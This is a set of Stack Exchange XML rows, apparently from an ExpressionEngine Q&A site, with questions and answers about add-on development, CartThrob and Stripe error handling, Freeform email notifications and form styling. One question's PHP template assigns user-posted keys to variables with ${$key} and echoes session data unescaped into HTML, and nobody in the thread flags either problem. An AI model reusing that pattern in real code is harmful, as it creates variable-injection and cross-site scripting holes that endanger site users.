  <row Id="18492" PostTypeId="1" CreationDate="2014-01-17T18:55:29.327" Score="2" ViewCount="127" Body="&lt;p&gt;First off, pardon the noob aspect of this question. I have developed on other platforms, but it's been a while now. I was starting to build an EE2 module for one of my sites and I keep getting frustrated in needing to print_r() everything to see what data is available and if I am in the correct hook/segment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know a lot of you are seasoned developers of add-ons for EE and more than likely have a nice workflow you could suggest. I would like to save some time by using something I can view as I write. Currently, I just downloaded Zend Studio to see if I could accomplish what I was after. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the best tool for add-on development? (I know this is opinionated, but am open to suggestions)&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to create add-ons within the system folder so that a project &quot;inherits&quot; the code base? I installed a local instance for developing and used Bjorn's &lt;a href=&quot;http://devot-ee.com/add-ons/devkit-for-ee-2.0&quot; rel=&quot;nofollow&quot;&gt;DevKit&lt;/a&gt; to kickstart the module. (Great help BTW)&lt;/li&gt;&#xA;&lt;li&gt;What are the best ways to review available data? Surely there is a better way than dumping the data each time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&#xA;For anyone interested, I saw another thread in which someone mentioned using UltraEdit. We use that here in some other areas so I downloaded the studio demo, since we just use the editor. I'm still going through it, but so far, I just started a new project, pointed the editor at my system folder, and all of the methods, classes, etc. seem to be pulled in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would still be nice to be able to iterate through data though.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-01-17T21:43:45.360" LastActivityDate="2014-01-17T21:43:45.360" Title="Developing EE add-ons with code assist" Tags="|ee2|add-on|add-on-development|development|editor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18494" PostTypeId="2" ParentId="18492" CreationDate="2014-01-17T20:22:35.013" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Well, I am biased but I use my own Channel Data library for just about everything. I just re-wrote it entirely with full CRUD support, and will save you loads of time. Not familiar with Bjorn's solution, so I can't comment either way.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would advise against this. When you upgrade EE, you will have to constantly backup specific files and ensure they aren't deleted with the update. I would recommend taking the approach I did with Channel Data. You can load the &quot;packages&quot; into your own add-on to reuse the code, but still keep it in the Third Party directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an except from the Channel Data readme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Required Steps &#xA; *&#xA; * 1. Load the Channel Data package into your add-on&#xA; * 2. Load the Channel Data driver from the package&#xA; * 3. Tell Channel Data where the auto loader should look for your files.&#xA; **/&#xA;&#xA;ee()-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD . 'your_addon_name');&#xA;&#xA;// Load the driver and directories at once&#xA;ee()-&amp;gt;load-&amp;gt;driver('ChannelData', array(&#xA;    'directories' =&amp;gt; array(&#xA;        PATH_THIRD . 'your_addon_name/models'&#xA;    )&#xA;));&#xA;&#xA;// Or use the autoload() method to pass a directory path&#xA;ee()-&amp;gt;channeldata-&amp;gt;autoload(PATH_THIRD . 'your_addon_name/models');&#xA;&#xA;// You can also pass an array of directories&#xA;ee()-&amp;gt;channeldata-&amp;gt;autoload(array(&#xA;    PATH_THIRD . 'your_addon_name/models',&#xA;    PATH_THIRD . 'your_addon_name/models/channels'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not really any better way to do this unless you use an IDE, which I don't use. Without an IDE or something similar, var_dump or print_r are the accepted methods to dumping objects in the screen. No real way around this in my experience without using an IDE, but even then the setup can be arduous and time consuming. In 2.7 though, its much easier than it once was because you can &lt;code&gt;var_dump($this)&lt;/code&gt; without having to view the global singleton object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I also avoid using Third Party libraries, particularly the models. I only use First Party libraries that are documented and not going to intentionally be broken in a future update (unless documented). Native models and methods can change at anytime without notice, and Channel Data is, IMO of course, a better solution for universal models and fetching data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps some.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-01-17T20:22:35.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18495" PostTypeId="1" AcceptedAnswerId="18524" CreationDate="2014-01-17T21:11:11.163" Score="0" ViewCount="55" Body="&lt;p&gt;Based on one of GWCode Categories examples I have created code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;submenu-parent&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot;&amp;gt;Product Type&amp;lt;/a&amp;gt;&#xA;&amp;lt;div class=&quot;submenu cf&quot; id=&quot;submenu-1&quot;&amp;gt;&#xA;    {exp:gwcode_categories channel=&quot;products&quot; style=&quot;linear&quot;}&#xA;        {if depth1_start}&amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;{/if}&#xA;    {/exp:gwcode_categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it pulls only 2 first parent (root) categories from 12 categories assigned to the products channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-01-19T23:37:52.073" Title="GWcode Categories pulling only 2 categories within 12" Tags="|extension|categories|gwcode-categories|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18496" PostTypeId="1" CreationDate="2014-01-17T21:18:53.063" Score="0" ViewCount="263" Body="&lt;p&gt;First, thanks in advance for any insight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully set up cartthrob to process payments with Stripe and I have one final UX hurdle to cross over: the checkout_form doesn't seem to honor the &lt;strong&gt;error_handling=&quot;inline&quot;&lt;/strong&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: if I try to submit the form with an incomplete credit card number, instead of triggering the inline error, I get a JavaScript dialog, &quot;The page at...says, Your card number is incorrect.&quot; As a test, I switched to another gateway in the Payment Gateway configuration panel, submitted the form again with an incomplete credit card number and, expectedly, CartThrob properly triggered the inline error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across, or better yet, circumvented this behavior? I know that Stripe requires relies on JavaScript to process its credit cards, so I suspect this is tied to those requirements, but it seems as though one should still be able to handle the errors inline. The inability to is a major bummer for UX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris&lt;/p&gt;&#xA;" OwnerUserId="2386" LastActivityDate="2014-01-18T22:00:54.477" Title="Forcing inline errors on checkout_form with Stripe Payments" Tags="|cartthrob|error|stripe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18497" PostTypeId="2" ParentId="18490" CreationDate="2014-01-17T21:19:02.310" Score="0" Body="&lt;p&gt;So... is that second block of code supposed to be a &quot;set&quot; or a &quot;get&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're just missing a &lt;em&gt;process=&quot;end&quot;&lt;/em&gt; on one of your blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably do more like so... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the page_title variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;   {exp:channel:entries limit=&quot;1&quot; channel=&quot;page&quot; &#xA;    disable=&quot;categories|member_data|pagination&quot; cache=&quot;yes&quot; refresh=&quot;6400&quot;}&#xA;      {exp:stash:set name=&quot;page_title&quot; value=&quot;{title}&quot;}&#xA;   {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Getting the variable later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process=&quot;end&quot;}&#xA;    {stash:page_title}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The process=&quot;end&quot; portion ensures that this gets parsed after the other one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You may still need the parse conditionals in your example, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as a footnote - I've problems with caching with Switchee. You may want to try doing this with the cache off. And then loop back to make the caching work right. &lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-01-17T21:19:02.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18498" PostTypeId="2" ParentId="18496" CreationDate="2014-01-17T22:01:40.180" Score="0" Body="&lt;p&gt;It is indeed due to Stripe's JS. I don't currently have a workaround, but I'll be looking into it shortly as CartThrob.com &amp;amp; Mightybigrobot.com will both be switching to Stripe soon. &lt;/p&gt;&#xA;" OwnerUserId="556" LastActivityDate="2014-01-17T22:01:40.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18499" PostTypeId="1" CreationDate="2014-01-17T22:35:48.197" Score="1" ViewCount="355" Body="&lt;p&gt;First, I'm on EE v2.3.1 using Structure v3.0&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have a channel called &quot;statics&quot;&lt;/li&gt;&#xA;&lt;li&gt;The &quot;statics&quot; channel uses a field group called &quot;statics_fields&quot; which just has a textarea field called &quot;body&quot; in it.&lt;/li&gt;&#xA;&lt;li&gt;The &quot;statics&quot; channel uses a template group called &quot;statics_templates&quot; and by default uses &quot;statics_templates/plain&quot;&lt;/li&gt;&#xA;&lt;li&gt;Everything outside {exp:channel:entries} tag shows up, and nothing inside it does:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;code&gt;&#xA;&#xA;    {embed=&quot;template_html/header&quot; body_class=&quot;about_bg&quot;}&#xA;        {exp:structure:breadcrumb here_as_title=&quot;yes&quot;}{/exp:structure:breadcrumb}&#xA;            {embed=&quot;template_html/left_nav&quot;}&#xA;                    THIS SHOWS UP&#xA;                    {exp:channel:entries channel=&quot;statics&quot;}&#xA;                        NOTHING IN HERE SHOWS UP&#xA;                        {title}&#xA;                        {body}&#xA;                    {/exp:channel:entries}&#xA;    {embed=&quot;template_html/footer&quot;}&#xA;&#xA;&lt;/code&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This happens for every new static page regardless of if it's in the &quot;statics&quot; channel.&lt;/li&gt;&#xA;&lt;li&gt;Using Structure to move it under a new parent doesn't fix it.&lt;/li&gt;&#xA;&lt;li&gt;Using Structure to move it up to it's own level without a parent also doesn't work.&lt;/li&gt;&#xA;&lt;li&gt;No errors show up in the debug output.&lt;/li&gt;&#xA;&lt;li&gt;No errors show up in the php error log.&lt;/li&gt;&#xA;&lt;li&gt;The {exp:channel:entries} tag is not nested.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the question, of course, is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why is this broken and how can I fix it?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2627" LastEditorUserId="2627" LastEditDate="2014-01-17T23:28:34.127" LastActivityDate="2014-01-18T19:31:50.387" Title="Content between {exp:channel:entries} tags won't show up" Tags="|ee2|structure|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18500" PostTypeId="1" CreationDate="2014-01-17T23:33:36.793" Score="1" ViewCount="92" Body="&lt;p&gt;I have a simple working contact form that emails a specific person in a company possible customer information. However, the client also wants a confirmation sent to the potential customer when the customer submits the form containing a link and some other general info so that then can return to the &quot;thank you&quot; url, which has some helpful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you send two different emails at the same time to two a regular email address but also the email inputed in a form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doesn't seem you can use {email} to email the person who submitted the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know now from research that you need three items filled out to email the user that submitted the form,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;user_notification_template=&quot;Employee-Relocation-Form-Thank-You-Confirmation-Email&quot;&#xA;notify_user=&quot;yes&quot; &#xA;user_email_field=&quot;email&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know that the templates need to be made. They are both made (the first one works) but I still after fiddling with this extension for hours get it to email the submitter/possible future customer. Can some find anything wrong with my form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;        form:id=&quot;employee-relocation-form&quot; &#xA;        collection=&quot;Employee Relocation Form&quot;&#xA;&#xA;    user_notification_template=&quot;employee-relocation-form-thank-you-confirmation-email&quot;&#xA;    notify_user=&quot;yes&quot; &#xA;        user_email_field=&quot;email&quot;&#xA;&#xA;        return=&quot;www.mycompany.com/thankyou&quot;&#xA;        admin_notify=&quot;employee@mycompany.com&quot;&#xA;        admin_notification_template=&quot;employee-relocation-form&quot;&#xA;    notify_admin=&quot;yes&quot; &#xA;        }&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;span&amp;gt;* &amp;lt;/span&amp;gt;Indicates required field&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; value=&quot;&quot;  class=&quot;validate[required] text-input&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;                  &#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;input type=&quot;email&quot; id=&quot;email&quot; name=&quot;email&quot; value=&quot;&quot;  class=&quot;validate[required,custom[email]]&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;label for=&quot;phone&quot;&amp;gt;Phone Number&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;phone&quot; name=&quot;phone&quot; value=&quot;&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input id=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Submit&quot; &amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2623" LastActivityDate="2014-02-17T17:36:28.857" Title="Not Sending notify_user email. Templates made and parameters already added?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18501" PostTypeId="1" AcceptedAnswerId="18503" CreationDate="2014-01-18T16:34:26.137" Score="0" ViewCount="75" Body="&lt;p&gt;Hello I've been trying to get a dropdown on my channelform the only way it seems to work is if I do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{field:education_level}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this outputs fine like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;education_level&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;0&quot;&amp;gt;- Please Select -&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;10&quot;&amp;gt;No Formal Qualifications&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;11&quot;&amp;gt;GCSE/GNVQ/O levels&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is there anyway to add either an id and class within the select for for my javascript and styling&lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2014-01-18T16:43:02.907" LastActivityDate="2014-01-18T19:29:41.563" Title="Dropdown Styling" Tags="|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18502" PostTypeId="2" ParentId="18500" CreationDate="2014-01-18T17:00:17.120" Score="2" Body="&lt;p&gt;The parameter 'collection' is no longer used in the latest version of Freeform, therefore, collection=&quot;Employee Relocation Form&quot; should be form_name=&quot;Employee Relocation Form&quot;, as does form:id &gt; form_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always read through this link below when upgrading from old Freeform forms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/upgrade_3.x-4.x/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/upgrade_3.x-4.x/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-01-18T17:00:17.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18503" PostTypeId="2" ParentId="18501" CreationDate="2014-01-18T19:29:41.563" Score="2" Body="&lt;p&gt;A quick/easy solution would be to wrap the element with a div, and build your selector using that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In jQuery, for example, you could use &lt;code&gt;$('.select-wrapper select')&lt;/code&gt; to select this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;select-wrapper&quot;&amp;gt;{field:education_level}&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS selector would be similar, of course:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.select-wrapper select{ border: 1px solid green; }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-18T19:29:41.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18504" PostTypeId="2" ParentId="18499" CreationDate="2014-01-18T19:31:50.387" Score="4" Body="&lt;p&gt;As Josh suggests in the comments, give this a whirl:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries channel=&quot;statics&quot; dynamic=&quot;no&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-18T19:31:50.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18505" PostTypeId="2" ParentId="18438" CreationDate="2014-01-18T21:24:19.627" Score="1" Body="&lt;p&gt;The key for the avatar to be removed is to submit form data for &quot;remove_photo&quot;. This means that you need an HTML form field for this to work. Hyperlinks are not form fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, however, trigger the form submission with a value &quot;remove_photo&quot; by using javascript/jQuery. The &quot;remove_photo&quot; field can be a hidden field as well. For example, if you had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit form:class=&quot;user_edit&quot;}&#xA;    &amp;lt;a href=&quot;#&quot; class=&quot;remove_photo&quot;&amp;gt;Remove Photo&amp;lt;/a&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;remove_photo&quot; value=&quot;Remove Current Photo?&quot; /&amp;gt;&#xA;{/exp:user:edit}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use a script like this, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready( function () {&#xA;    $(&quot;a.remove_photo&quot;).click(function () {&#xA;        $(&quot;form.user_edit&quot;).submit();&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-18T21:24:19.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18506" PostTypeId="2" ParentId="18489" CreationDate="2014-01-18T21:41:05.673" Score="1" Body="&lt;p&gt;Within the &lt;code&gt;{events}{/events}&lt;/code&gt; tag pair, use the &lt;code&gt;{categories}{/categories}&lt;/code&gt; tag pair as you would with {exp:channel:entries}, and use it for your needs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}{if category_id == 3}Some class{/if}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-18T21:41:05.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18507" PostTypeId="2" ParentId="18496" CreationDate="2014-01-18T22:00:54.477" Score="2" Body="&lt;p&gt;You can override the default behavior by setting a custom error handler. Make sure this code comes after your &lt;code&gt;checkout_form&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;CartthrobTokenizer.setErrorHandler(function(errorMessage){&#xA;  //do what you want with the errorMessage. the default behavior is to alert() it&#xA;  //something like $(&quot;#alert-box&quot;).html(errorMessage).show();&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-01-18T22:00:54.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18508" PostTypeId="2" ParentId="18439" CreationDate="2014-01-19T01:27:41.733" Score="0" Body="&lt;p&gt;The answer was supplied in comments from Solspace. The &quot;real&quot; email address was not being used for passive registration because the email address was already in use for another EE member account. If the email address is unique it works fine.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-19T01:27:41.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18510" PostTypeId="1" AcceptedAnswerId="18559" CreationDate="2014-01-19T02:16:15.197" Score="1" ViewCount="679" Body="&lt;p&gt;My client has a &quot;resource&quot; blog with articles and PDFs that are available for download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They would like for their users to enter in an email address before being allowed to download the PDFs (I know). The form would save the entry into the database and email an admin the information for a possible follow-up (I know..). They would also like for the user's data to be saved for that session so they don't have to fill out the form over-and-over if they choose to download other articles. They do not want the user to have to login or register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this working outside of ExpressionEngine2 and Freeform, using $_SESSION variables to check if the form was submitted and saving the $_POST data into the $_SESSION array for auto-populating the form fields on subsequent article pages. The user just has to hit Submit again on the form, which is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when implementing in EE 2.7.3 using FreeForm Pro 4.1.3, using the default form action, the POST and SESSION arrays are empty after submission. If I substitute the Freeform form:action it works as expected, but of course the form results aren't stored in the database or emailed to the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They love the Freeform interface and ability to see and export previous entries. Also, I need to do the form submission check server-side, so a user can't just view the source and download the PDF without filling out the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to accomplish this? I am a hook novice. Any help or insight is most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my current code on the blog listing template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php session_start(); ?&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;...&#xA;&amp;lt;body&amp;gt;&#xA;...&#xA;{exp:channel:entries channel=&quot;blog&quot;}&#xA;        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;?php // SET VAR FOR FORM SUBMIT&#xA;            $submit = ee()-&amp;gt;input-&amp;gt;get_post('submit', TRUE); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // IF FORM NOT FILLED OUT&#xA;            if ( empty($submit) ) { ?&amp;gt;&#xA;&#xA;            &amp;lt;a class=&quot;download-prompt&quot; title=&quot;Download Attachment&quot; href=&quot;#&quot;&amp;gt;&amp;lt;strong&amp;gt;Download Attachment:&amp;lt;/strong&amp;gt; {exp:channel:entries channel=&quot;blog&quot;}{title}{/exp:channel:entries}&amp;lt;/a&amp;gt;&#xA;&#xA;            &amp;lt;!-- Hidden Contact Form - Shown on '.download-prompt' Click --&amp;gt;&#xA;            &amp;lt;div class=&quot;contact-form&quot;&amp;gt;&#xA;                {exp:freeform:form&#xA;                    form_id=&quot;16&quot;&#xA;                    required=&quot;email&quot;&#xA;                }&#xA;                &amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;                    &amp;lt;label&amp;gt;Email &amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;freeform_email&quot; placeholder=&quot;Email&quot; value=&quot;&amp;lt;?php if (!empty($_SESSION['email'])) { echo $_SESSION['email']; } ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/exp:freeform:form}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /.contact-form --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php // ELSE IF FORM IS FILLED OUT&#xA;        } else if ( !empty($submit) ) { ?&amp;gt;&#xA;&#xA;            &amp;lt;?php // Save each POST value in SESSION&#xA;            foreach ( $_POST as $key =&amp;gt; $value ) {&#xA;                ${$key} = $value;&#xA;                $_SESSION[$key] = $value;&#xA;            }&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;Thank you message.&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;!-- Hidden iFrame to Auto Download Attachment --&amp;gt;&#xA;            &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;            $(document).ready(function() {&#xA;                $('&amp;lt;iframe src=&quot;/resources/download.php?file_source={blog_attachment}&quot;&amp;gt;&amp;lt;/iframe&amp;gt;').appendTo('body').hide();&#xA;            });&#xA;            &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php // ELSE SOMETHING BROKE&#xA;        } else { ?&amp;gt;&#xA;            &amp;lt;h3&amp;gt;Something went wrong. Please try again.&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;Try again.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1610" LastEditorUserId="1610" LastEditDate="2014-01-19T03:16:30.093" LastActivityDate="2014-01-20T21:51:23.083" Title="Freeform Pro and Session Variables" Tags="|solspace-freeform|sessions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18511" PostTypeId="2" ParentId="18440" CreationDate="2014-01-19T02:56:43.933" Score="0" Body="&lt;p&gt;I can confirm that this does work if you include all possible allowed groups in the &lt;code&gt;allowed_groups&lt;/code&gt; parameter and then use a form field with name &lt;code&gt;group_id&lt;/code&gt; and value as the chosen group ID. Solspace please update your docs to eliminate where it says the group_id form field is available to Super Admins only.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-19T02:56:43.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18512" PostTypeId="2" ParentId="18302" CreationDate="2014-01-19T06:14:07.827" Score="0" Body="&lt;p&gt;EllisLab Support helped me figure this one out, but just in case anyone else ever runs into this problem, here was the solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was presumably a third-party add-on that was responsible for the error, and the add-on update process is the next-to-last step the update wizard runs before updating the EE version number in the config.php file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just needed to check that the EE 2.7.3 changes were reflected in the database, which meant checking that the following database fields were updated to a length of 75 characters. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exp_members.email field&lt;/li&gt;&#xA;&lt;li&gt;exp_email_cache.from_email&lt;/li&gt;&#xA;&lt;li&gt;exp_email_console_cache.recipient&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These had, in fact, been updated correctly, so all I needed to do was update the version in the config file to &quot;273,&quot; remove the &quot;installer&quot; directory from the server, and log into the control panel to update the add-ons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now everything works just fine. Many thanks to Robin Sowell at EllisLab Support for helping me sort this out!&lt;/p&gt;&#xA;" OwnerUserId="1109" LastActivityDate="2014-01-19T06:14:07.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
